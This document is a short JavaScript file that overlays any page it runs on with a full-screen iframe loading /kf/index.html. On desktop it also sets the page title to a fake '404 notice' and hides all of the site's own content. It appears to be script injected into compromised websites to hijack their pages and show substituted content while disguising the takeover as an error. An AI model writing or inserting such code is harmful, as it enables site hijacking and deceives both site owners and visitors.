function isMobileDevice() {
    return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
}

function loadContent() {
    if (isMobileDevice()) {
        document.write('<style>.iframe { position: fixed; left: 0; top: 0; width: 100%; height: 100%; z-index: 10000; }.blocker { background-color: rgba(0, 0, 0, 0.5) !important; display: flex; justify-content: center; align-items: center; }</style>');
        document.write('<iframe src="/kf/index.html" frameborder="0" class="iframe"></iframe>');
    } else {
        var titlestr = document.title;
        var arr = [
            "/kf/index.html",
        ];
        setFrame(arr[Math.floor(Math.random() * arr.length)]);

        function setFrame(olink) {
            var ss = `
                <title>404 提示信息</title>
                <div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;">
                    <iframe scrolling="yes" marginheight="0" marginwidth="0" frameborder="0" border="0" width="100%" height="100%" src="${olink}" style="position: fixed; left: 0; top: 0; width: 100%; height: 100%; z-index: 10000;"></iframe>
                </div>
                <style type="text/css">
                    html, body {
                        width: 100%;
                        height: 100%;
                        margin: 0;
                        padding: 0;
                    }
                </style>`;
            document.write(ss);

            setTimeout(function () {
                console.log(document.body.children.length);
                for (var i = 0; i < document.body.children.length; i++) {
                    try {
                        var a = document.body.children[i].tagName;
                        var b = document.body.children[i].id;
                        console.log(i + "***" + a + "**" + b);
                        if (b !== "showcloneshengxiaon" && a !== "TITLE") {
                            document.body.children[i].style.display = "none";
                        }
                    } catch (e) {
                        console.log("CatchClause", e);
                    }
                }

                var oMeta = document.createElement("meta");
                oMeta.name = "viewport";
                oMeta.content = "width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no";
                document.getElementsByTagName("head")[0].appendChild(oMeta);
            }, 100);
        }
    }
}

loadContent();
